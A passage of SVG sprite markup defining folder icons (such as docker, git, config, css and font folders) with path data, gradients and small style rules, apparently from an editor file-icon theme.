gradientUnits="userSpaceOnUse" xlink:href="#cod"/><linearGradient id="com" x1="-14.029" x2="41.998" y1="-23.111" y2="26.259" gradientTransform="scale(1.0003 .99965)" gradientUnits="userSpaceOnUse" xlink:href="#coe"/><linearGradient id="con" x1="31.177" x2="3.37" y1="41.442" y2="3.402" gradientTransform="scale(.96254 1.0389)" gradientUnits="userSpaceOnUse" xlink:href="#cof"/><linearGradient id="coo" x1="-31.905" x2="19.599" y1="-14.258" y2="42.767" gradientTransform="scale(.95823 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#cog"/><linearGradient id="cop" x1="4.301" x2="34.534" y1="34.41" y2="4.514" gradientTransform="scale(1.002 .99796)" gradientUnits="userSpaceOnUse" xlink:href="#coh"/><linearGradient id="coh" x1=".112" x2=".901" y1=".897" y2=".116"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".53"/><stop stop-color="#CD0F7E" offset=".79"/><stop stop-color="#ED2C89" offset="1"/></linearGradient></defs><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#f06292" fill-rule="nonzero"/><g transform="matrix(.31022 .0619 -.0619 .31022 11.807 7.546)" fill="none"><path d="M8.002 6.127L4.117 8.719.116 2.723 4 .13z" transform="rotate(-11.284 17.839 -78.732)" fill="url(#coi)"/><path d="M9.179 1.887l6.637 9.946-7.906 5.276-6.637-9.946L.115 5.43 8.02.153z" transform="rotate(-11.284 129.49 -99.884)" fill="url(#coj)"/><path d="M7.3 1.88l1.462 2.189-6.018 4.015L.124 4.16l1.315-.877L6.143.144z" transform="rotate(-11.284 167.2 -62.32)" fill="url(#cok)"/><path d="M2.328 1.146L4.016.02l2.619 3.925L2.75 6.537 1.29 4.347l2.197-1.466zm-1.04 3.201L.132 2.612l2.197-1.466 1.158 1.735z" transform="rotate(-11.284 104.37 -149.22)" fill="url(#col)"/><path d="M5.346 9.155l-1.315.877L.03 4.035 6.047.019l2.805 4.204L4.15 7.36l4.703-3.138 1.197 1.793z" transform="rotate(-11.284 81.819 7.645)" fill="url(#com)"/><path d="M14.533 9.934l1.197 1.793-7.907 5.276-1.196-1.793L.052 5.358 7.958.082z" transform="rotate(-11.284 17.141 -7.825)" fill="url(#con)"/><path d="M6.235 7.177L4.038 8.643 2.84 6.849.036 2.646 3.92.053 7.923 6.05z" transform="rotate(-11.284 18.188 -79.174)" fill="url(#coo)"/><path d="M18.955 35.925L17.48 34.45l3.998-3.998 1.475 1.475z" fill="#714896"/><path d="M33.33 21.55l-1.475-1.474 1.867-1.868 1.475 1.475z" fill="#6f4795"/><path d="M7.12 24.09l-1.525-1.525 3.998-3.998 1.525 1.525z" fill="#88519f"/><path d="M21.495 9.714L19.97 8.19l1.868-1.868 1.524 1.525z" fill="#85509e"/><path d="M31.418 23.462l-6.72 6.72-1.475-1.474 6.72-6.721z" fill="#8d166a"/><path d="M18.058 10.101l1.525 1.525-6.721 6.72-1.525-1.524z" fill="#a70d6f"/><path d="M2.375 11.769l1.9 1.9-1.9 1.901-1.901-1.9z" fill="#9e61ad"/><path d="M15.523 36.482l1.9 1.9-1.9 1.901-1.9-1.9z" fill="#8053a3"/><path d="M8.372 38.294L.017 29.876 29.749.08l8.636 8.201z" transform="translate(1.823 1.548)" fill="url(#cop)"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-aurelia-open" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="cpi" x1="-31.824" x2="19.682" y1="-11.741" y2="35.548" gradientTransform="scale(.95818 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#cpa"/><linearGradient id="cpa" x1="-3.881" x2="2.377" y1="-1.442" y2="4.304"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cpj" x1="12.022" x2="-15.716" y1="13.922" y2="-23.952" gradientTransform="scale(.96226 1.0392)" gradientUnits="userSpaceOnUse" xlink:href="#cpb"/><linearGradient id="cpb" x1=".729" x2="-.971" y1=".844" y2="-1.477"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="cpk" x1="-23.39" x2="23.931" y1="-57.289" y2="8.573" gradientTransform="scale(1.0429 .95884)" gradientUnits="userSpaceOnUse" xlink:href="#cpc"/><linearGradient id="cpc" x1="-2.839" x2="2.875" y1="-6.936" y2="1.017"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cpl" x1="-53.331" x2="6.771" y1="-30.517" y2="18.785" gradientTransform="scale(.99898 1.001)" gradientUnits="userSpaceOnUse" xlink:href="#cpd"/><linearGradient id="cpd" x1="-8.212" x2="1.02" y1="-4.691" y2="2.882"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cpm" x1="-14.029" x2="41.998" y1="-23.111" y2="26.259" gradientTransform="scale(1.0003 .99965)" gradientUnits="userSpaceOnUse" xlink:href="#cpe"/><linearGradient id="cpe" x1="-1.404" x2="4.19" y1="-2.309" y2="2.62"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cpn" x1="31.177" x2="3.37" y1="41.442" y2="3.402" gradientTransform="scale(.96254 1.0389)" gradientUnits="userSpaceOnUse" xlink:href="#cpf"/><linearGradient id="cpf" x1="1.911" x2=".204" y1="2.539" y2=".204"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="cpo" x1="-31.905" x2="19.599" y1="-14.258" y2="42.767" gradientTransform="scale(.95823 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#cpg"/><linearGradient id="cpg" x1="-3.881" x2="2.377" y1="-1.738" y2="5.19"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cpp" x1="4.301" x2="34.534" y1="34.41" y2="4.514" gradientTransform="scale(1.002 .99796)" gradientUnits="userSpaceOnUse" xlink:href="#cph"/><linearGradient id="cph" x1=".112" x2=".901" y1=".897" y2=".116"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".53"/><stop stop-color="#CD0F7E" offset=".79"/><stop stop-color="#ED2C89" offset="1"/></linearGradient></defs><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#f06292" fill-rule="nonzero"/><g transform="matrix(.31022 .0619 -.0619 .31022 11.807 7.546)" fill="none"><path d="M8.002 6.127L4.117 8.719.116 2.723 4 .13z" transform="rotate(-11.284 17.839 -78.732)" fill="url(#cpi)"/><path d="M9.179 1.887l6.637 9.946-7.906 5.276-6.637-9.946L.115 5.43 8.02.153z" transform="rotate(-11.284 129.49 -99.884)" fill="url(#cpj)"/><path d="M7.3 1.88l1.462 2.189-6.018 4.015L.124 4.16l1.315-.877L6.143.144z" transform="rotate(-11.284 167.2 -62.32)" fill="url(#cpk)"/><path d="M2.328 1.146L4.016.02l2.619 3.925L2.75 6.537 1.29 4.347l2.197-1.466zm-1.04 3.201L.132 2.612l2.197-1.466 1.158 1.735z" transform="rotate(-11.284 104.37 -149.22)" fill="url(#cpl)"/><path d="M5.346 9.155l-1.315.877L.03 4.035 6.047.019l2.805 4.204L4.15 7.36l4.703-3.138 1.197 1.793z" transform="rotate(-11.284 81.819 7.645)" fill="url(#cpm)"/><path d="M14.533 9.934l1.197 1.793-7.907 5.276-1.196-1.793L.052 5.358 7.958.082z" transform="rotate(-11.284 17.141 -7.825)" fill="url(#cpn)"/><path d="M6.235 7.177L4.038 8.643 2.84 6.849.036 2.646 3.92.053 7.923 6.05z" transform="rotate(-11.284 18.188 -79.174)" fill="url(#cpo)"/><path d="M18.955 35.925L17.48 34.45l3.998-3.998 1.475 1.475z" fill="#714896"/><path d="M33.33 21.55l-1.475-1.474 1.867-1.868 1.475 1.475z" fill="#6f4795"/><path d="M7.12 24.09l-1.525-1.525 3.998-3.998 1.525 1.525z" fill="#88519f"/><path d="M21.495 9.714L19.97 8.19l1.868-1.868 1.524 1.525z" fill="#85509e"/><path d="M31.418 23.462l-6.72 6.72-1.475-1.474 6.72-6.721z" fill="#8d166a"/><path d="M18.058 10.101l1.525 1.525-6.721 6.72-1.525-1.524z" fill="#a70d6f"/><path d="M2.375 11.769l1.9 1.9-1.9 1.901-1.901-1.9z" fill="#9e61ad"/><path d="M15.523 36.482l1.9 1.9-1.9 1.901-1.9-1.9z" fill="#8053a3"/><path d="M8.372 38.294L.017 29.876 29.749.08l8.636 8.201z" transform="translate(1.823 1.548)" fill="url(#cpp)"/></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-components" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#cddc39" fill-rule="nonzero"/><path d="M11.185 9.613h5.346v2.9l3.782-3.775 3.775 3.775-3.775 3.782h2.9v5.346h-5.346v-5.346h2.446l-3.782-3.782v2.446h-5.346V9.613m0 6.682h5.346v5.346h-5.346z" fill="#f0f4c3" stroke-width=".668"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-components-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#cddc39"/><path d="M11.185 9.613h5.346v2.9l3.782-3.775 3.775 3.775-3.775 3.782h2.9v5.346h-5.346v-5.346h2.446l-3.782-3.782v2.446h-5.346V9.613m0 6.682h5.346v5.346h-5.346z" fill="#f0f4c3" stroke-width=".668"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-config" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#00acc1" fill-rule="nonzero"/><path d="M17.293 17.786a2.308 2.308 0 0 1-2.308-2.308 2.308 2.308 0 0 1 2.308-2.307 2.308 2.308 0 0 1 2.308 2.307 2.308 2.308 0 0 1-2.308 2.308m4.899-1.668c.026-.211.046-.422.046-.64 0-.217-.02-.435-.046-.659l1.391-1.075a.333.333 0 0 0 .08-.422l-1.32-2.28c-.079-.146-.257-.205-.402-.146l-1.641.66a4.779 4.779 0 0 0-1.115-.647l-.244-1.747a.333.333 0 0 0-.33-.277h-2.637a.333.333 0 0 0-.33.277l-.243 1.747a4.78 4.78 0 0 0-1.114.646l-1.642-.659a.324.324 0 0 0-.402.145l-1.319 2.281a.325.325 0 0 0 .08.422l1.39 1.075c-.026.224-.046.442-.046.66s.02.428.046.639l-1.39 1.094a.325.325 0 0 0-.08.422l1.319 2.282c.079.145.257.197.402.145l1.642-.666c.342.264.698.488 1.114.653l.244 1.747a.333.333 0 0 0 .33.277h2.637a.333.333 0 0 0 .33-.277l.243-1.747a4.802 4.802 0 0 0 1.115-.653l1.641.666c.145.052.323 0 .403-.145l1.318-2.282a.333.333 0 0 0-.079-.422z" fill="#80deea" stroke-width=".659"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-config-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#00acc1"/><path d="M17.293 17.786a2.308 2.308 0 0 1-2.308-2.308 2.308 2.308 0 0 1 2.308-2.307 2.308 2.308 0 0 1 2.308 2.307 2.308 2.308 0 0 1-2.308 2.308m4.899-1.668c.026-.211.046-.422.046-.64 0-.217-.02-.435-.046-.659l1.391-1.075a.333.333 0 0 0 .08-.422l-1.32-2.28c-.079-.146-.257-.205-.402-.146l-1.641.66a4.779 4.779 0 0 0-1.115-.647l-.244-1.747a.333.333 0 0 0-.33-.277h-2.637a.333.333 0 0 0-.33.277l-.243 1.747a4.78 4.78 0 0 0-1.114.646l-1.642-.659a.324.324 0 0 0-.402.145l-1.319 2.281a.325.325 0 0 0 .08.422l1.39 1.075c-.026.224-.046.442-.046.66s.02.428.046.639l-1.39 1.094a.325.325 0 0 0-.08.422l1.319 2.282c.079.145.257.197.402.145l1.642-.666c.342.264.698.488 1.114.653l.244 1.747a.333.333 0 0 0 .33.277h2.637a.333.333 0 0 0 .33-.277l.243-1.747a4.802 4.802 0 0 0 1.115-.653l1.641.666c.145.052.323 0 .403-.145l1.318-2.282a.333.333 0 0 0-.079-.422z" fill="#80deea" stroke-width=".659"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-css" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#42a5f5" fill-rule="nonzero"/><path d="M12.488 9.415l-.44 2.259h9.188l-.298 1.46h-9.18l-.447 2.251H20.5l-.514 2.576-3.705 1.224-3.211-1.224.223-1.109h-2.258l-.534 2.704 5.307 2.029 6.118-2.029.812-4.076.162-.818 1.041-5.247H12.488z" fill-rule="nonzero" fill="#bbdefb"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-css-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#42a5f5" fill-rule="nonzero"/><path d="M12.488 9.415l-.44 2.259h9.188l-.298 1.46h-9.18l-.447 2.251H20.5l-.514 2.576-3.705 1.224-3.211-1.224.223-1.109h-2.258l-.534 2.704 5.307 2.029 6.118-2.029.812-4.076.162-.818 1.041-5.247H12.488z" fill-rule="nonzero" fill="#bbdefb"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-dist" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#e57373" fill-rule="nonzero"/><path d="M18.575 11.113h-2.576V9.825h2.576m3.864 1.288h-2.576V9.825l-1.288-1.288h-2.576L14.71 9.825v1.288h-2.577c-.715 0-1.288.573-1.288 1.288v7.085a1.288 1.288 0 0 0 1.288 1.288H22.44a1.288 1.288 0 0 0 1.288-1.288V12.4c0-.715-.58-1.288-1.288-1.288z" fill="#ffcdd2" stroke-width=".644"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-dist-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#e57373"/><path d="M18.575 11.113h-2.576V9.825h2.576m3.864 1.288h-2.576V9.825l-1.288-1.288h-2.576L14.71 9.825v1.288h-2.577c-.715 0-1.288.573-1.288 1.288v7.085a1.288 1.288 0 0 0 1.288 1.288H22.44a1.288 1.288 0 0 0 1.288-1.288V12.4c0-.715-.58-1.288-1.288-1.288z" fill="#ffcdd2" fill-rule="evenodd" stroke-width=".644"/></symbol><symbol id="folder-docker" clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><defs id="cydefs10"><path id="cySVGID_2_" d="M8.7 24c-1.1 0-2.1-.9-2.1-2s.9-2 2.1-2 2.1.9 2.1 2-1 2-2.1 2zm25.8-10.9c-.2-1.6-1.2-2.9-2.5-3.9l-.5-.4-.4.5c-.8.9-1.1 2.5-1 3.7.1.9.4 1.8.9 2.5-.4.2-.9.4-1.3.6-.9.3-1.8.4-2.7.4H1.1l-.1.6c-.2 1.9.1 3.9.9 5.7l.4.7v.1c2.4 4 6.7 5.8 11.4 5.8 9 0 16.4-3.9 19.9-12.3 2.3.1 4.6-.5 5.7-2.7l.3-.5-.5-.3c-1.3-.8-3.1-.9-4.6-.5zm-12.9-1.6h-3.9v3.9h3.9zm0-4.9h-3.9v3.9h3.9zm0-5h-3.9v3.9h3.9zm4.8 9.9h-3.9v3.9h3.9zm-14.5 0H8v3.9h3.9zm4.9 0h-3.9v3.9h3.9zm-9.7 0H3.2v3.9h3.9zm9.7-4.9h-3.9v3.9h3.9zm-4.9 0H8v3.9h3.9z"/></defs><path id="cypath2" d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#039be5" fill-rule="nonzero"/><style id="cystyle2">.cyst0{fill:#fff}.cyst1{clip-path:url(#cySVGID_4_)}</style><g id="cyg34" transform="translate(8.319 9.626) scale(.39491)" fill="#b3e5fc"><g id="cyg32"><g id="cyg30"><title id="cytitle4">Group 3</title><g id="cyg28"><g id="cyg26"><g id="cyg9"><path id="cySVGID_1_" class="cyst0" d="M8.7 24c-1.1 0-2.1-.9-2.1-2s.9-2 2.1-2 2.1.9 2.1 2-1 2-2.1 2zm25.8-10.9c-.2-1.6-1.2-2.9-2.5-3.9l-.5-.4-.4.5c-.8.9-1.1 2.5-1 3.7.1.9.4 1.8.9 2.5-.4.2-.9.4-1.3.6-.9.3-1.8.4-2.7.4H1.1l-.1.6c-.2 1.9.1 3.9.9 5.7l.4.7v.1c2.4 4 6.7 5.8 11.4 5.8 9 0 16.4-3.9 19.9-12.3 2.3.1 4.6-.5 5.7-2.7l.3-.5-.5-.3c-1.3-.8-3.1-.9-4.6-.5zm-12.9-1.6h-3.9v3.9h3.9zm0-4.9h-3.9v3.9h3.9zm0-5h-3.9v3.9h3.9zm4.8 9.9h-3.9v3.9h3.9zm-14.5 0H8v3.9h3.9zm4.9 0h-3.9v3.9h3.9zm-9.7 0H3.2v3.9h3.9zm9.7-4.9h-3.9v3.9h3.9zm-4.9 0H8v3.9h3.9z"/></g><g id="cyg24"><clipPath id="cySVGID_4_"><use id="cyuse14" width="100%" height="100%" xlink:href="#cySVGID_2_"/></clipPath><g id="cyg22" class="cyst1" clip-path="url(#cySVGID_4_)"><g id="cyg20"><g id="cyg18"><path id="cySVGID_3_" class="cyst0" d="M-48.8-21H1226v151.4H-48.8z"/></g></g></g></g></g></g></g></g></g></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-docker-open" xmlns="http://www.w3.org/2000/svg"><defs><clipPath id="cza"><use width="100%" height="100%" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#SVGID_2_"/></clipPath></defs><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#039be5"/><g transform="matrix(.3949 0 0 .39489 8.319 9.626)" fill="#b3e5fc"><title>Group 3</title><path class="czst0" d="M8.7 24c-1.1 0-2.1-.9-2.1-2s.9-2 2.1-2 2.1.9 2.1 2-1 2-2.1 2zm25.8-10.9c-.2-1.6-1.2-2.9-2.5-3.9l-.5-.4-.4.5c-.8.9-1.1 2.5-1 3.7.1.9.4 1.8.9 2.5-.4.2-.9.4-1.3.6-.9.3-1.8.4-2.7.4H1.1l-.1.6c-.2 1.9.1 3.9.9 5.7l.4.7v.1c2.4 4 6.7 5.8 11.4 5.8 9 0 16.4-3.9 19.9-12.3 2.3.1 4.6-.5 5.7-2.7l.3-.5-.5-.3c-1.3-.8-3.1-.9-4.6-.5zm-12.9-1.6h-3.9v3.9h3.9zm0-4.9h-3.9v3.9h3.9zm0-5h-3.9v3.9h3.9zm4.8 9.9h-3.9v3.9h3.9zm-14.5 0H8v3.9h3.9zm4.9 0h-3.9v3.9h3.9zm-9.7 0H3.2v3.9h3.9zm9.7-4.9h-3.9v3.9h3.9zm-4.9 0H8v3.9h3.9z"/><g class="czst1" clip-path="url(#cza)"><path class="czst0" d="M-48.8-21H1226v151.4H-48.8z"/></g></g></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-docs" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#0277bd" fill-rule="nonzero"/><path d="M18.575 12.859h3.713l-3.713-3.713v3.713M13.85 8.134h5.4l4.05 4.05v8.1c0 .74-.61 1.35-1.35 1.35h-8.1a1.35 1.35 0 0 1-1.35-1.35v-10.8c0-.75.6-1.35 1.35-1.35m6.075 10.8v-1.35H13.85v1.35h6.075m2.025-2.7v-1.35h-8.1v1.35h8.1z" fill-rule="nonzero" fill="#b3e5fc"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-docs-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#0277bd" fill-rule="nonzero"/><path d="M18.575 12.859h3.713l-3.713-3.713v3.713M13.85 8.134h5.4l4.05 4.05v8.1c0 .74-.61 1.35-1.35 1.35h-8.1a1.35 1.35 0 0 1-1.35-1.35v-10.8c0-.75.6-1.35 1.35-1.35m6.075 10.8v-1.35H13.85v1.35h6.075m2.025-2.7v-1.35h-8.1v1.35h8.1z" fill-rule="nonzero" fill="#b3e5fc"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-expo" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#01579b" fill-rule="nonzero"/><style>.dcst0{fill:#1173b6}.st1{fill:#585d67}</style><path class="dcst0" d="M18.575 9.82c-.489-.745-.605-.844-1.6-.844h-.024c-.996 0-1.106.099-1.601.844-.46.699-5.024 9.058-5.024 9.291 0 .338.087.658.402 1.112.32.46.873.716 1.275.309.273-.274 3.201-5.321 4.616-7.23a.425.425 0 0 1 .693 0c1.414 1.909 4.343 6.956 4.616 7.23.402.407.955.15 1.275-.309.314-.454.402-.774.402-1.112-.006-.233-4.57-8.598-5.03-9.291z" fill="#1173b6" stroke-width=".058"/></symbol><symbol clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-expo-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#01579b"/><path class="ddst0" d="M18.575 9.82c-.489-.745-.605-.844-1.6-.844h-.024c-.996 0-1.106.099-1.601.844-.46.699-5.024 9.058-5.024 9.291 0 .338.087.658.402 1.112.32.46.873.716 1.275.309.273-.274 3.201-5.321 4.616-7.23a.425.425 0 0 1 .693 0c1.414 1.909 4.343 6.956 4.616 7.23.402.407.955.15 1.275-.309.314-.454.402-.774.402-1.112-.006-.233-4.57-8.598-5.03-9.291z" fill="#1173b6" stroke-width=".058" fill-rule="evenodd"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-font" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ef9a9a" fill-rule="nonzero"/><path d="M14.62 17.403l2.38-6.33 2.37 6.33m-3.37-9l-5.5 14h2.25l1.12-3h6.25l1.13 3h2.25l-5.5-14h-2z" fill="#f44336" fill-rule="nonzero"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-font-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ef9a9a" fill-rule="nonzero"/><path d="M14.62 17.403l2.38-6.33 2.37 6.33m-3.37-9l-5.5 14h2.25l1.12-3h6.25l1.13 3h2.25l-5.5-14h-2z" fill="#f44336" fill-rule="nonzero"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-git" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#ff8a65" fill-rule="nonzero"/><path d="M10.43 14.14l4.044-4.052 1.183 1.19a1.387 1.387 0 0 0 .65 1.56v3.877c-.42.238-.699.693-.699 1.21 0 .768.632 1.4 1.4 1.4.767 0 1.4-.632 1.4-1.4 0-.517-.28-.972-.7-1.21v-3.4l1.448 1.462c-.05.105-.05.224-.05.35 0 .767.633 1.399 1.4 1.399.768 0 1.4-.632 1.4-1.4 0-.767-.632-1.4-1.4-1.4-.126 0-.245 0-.35.05l-1.798-1.799a1.385 1.385 0 0 0-.805-1.637c-.3-.112-.615-.14-.895-.063l-1.19-1.183.553-.545a1.381 1.381 0 0 1 1.973 0l5.591 5.59a1.381 1.381 0 0 1 0 1.974l-5.59 5.591a1.381 1.381 0 0 1-1.974 0l-5.591-5.59a1.381 1.381 0 0 1 0-1.974z" fill="#e64a19" fill-rule="nonzero"/></symbol><symbol viewBox="0 0 24 24" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" id="folder-git-open" xmlns="http://www.w3.org/2000/svg"><path d="M19 20H4a2 2 0 0 1-2-2V6c0-1.11.89-2 2-2h6l2 2h7c1.097 0 2 .903 2 2H4v10l2.14-8h17.07l-2.28 8.5c-.23.87-1.01 1.5-1.93 1.5z" fill="#ff8a65" fill-rule="nonzero"/><path d="M10.43 14.14l4.044-4.052 1.183 1.19a1.387 1.387 0 0 0 .65 1.56v3.877c-.42.238-.699.693-.699 1.21 0 .768.632 1.4 1.4 1.4.767 0 1.4-.632 1.4-1.4 0-.517-.28-.972-.7-1.21v-3.4l1.448 1.462c-.05.105-.05.224-.05.35 0 .767.633 1.399 1.4 1.399.768 0 1.4-.632 1.4-1.4 0-.767-.632-1.4-1.4-1.4-.126 0-.245 0-.35.05l-1.798-1.799a1.385 1.385 0 0 0-.805-1.637c-.3-.112-.615-.14-.895-.063l-1.19-1.183.553-.545a1.381 1.381 0 0 1 1.973 0l5.591 5.59a1.381 1.381 0 0 1 0 1.974l-5.59 5.591a1.381 1.381 0 0 1-1.974 0l-5.591-5.59a1.381 1.381 0 0 1 0-1.974z" fill="#e64a19" fill-rule="nonzero"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-global" xmlns="http://www.w3.org/2000/svg"><path d="M10 4H4c-1.11 0-2 .89-2 2v12c0 1.097.903 2 2 2h16c1.097 0 2-.903 2-2V8a2 2 0 0 0-2-2h-8l-2-2z" fill="#5c6bc0" fill-rule="nonzero"/><path d="M21.132 18.585a1.22 1.22 0 0 0-1.156-.846h-.609v-1.825a.608.608 0 0 0-.608-.609h-3.65v-1.217h1.216a.608.608 0 0 0 .609-.608v-1.217h1.217a1.217 1.217 0 0 0 1.216-1.217v-.25a4.858 4.858 0 0 1 1.765 7.79m-4.198 1.545a4.86 4.86 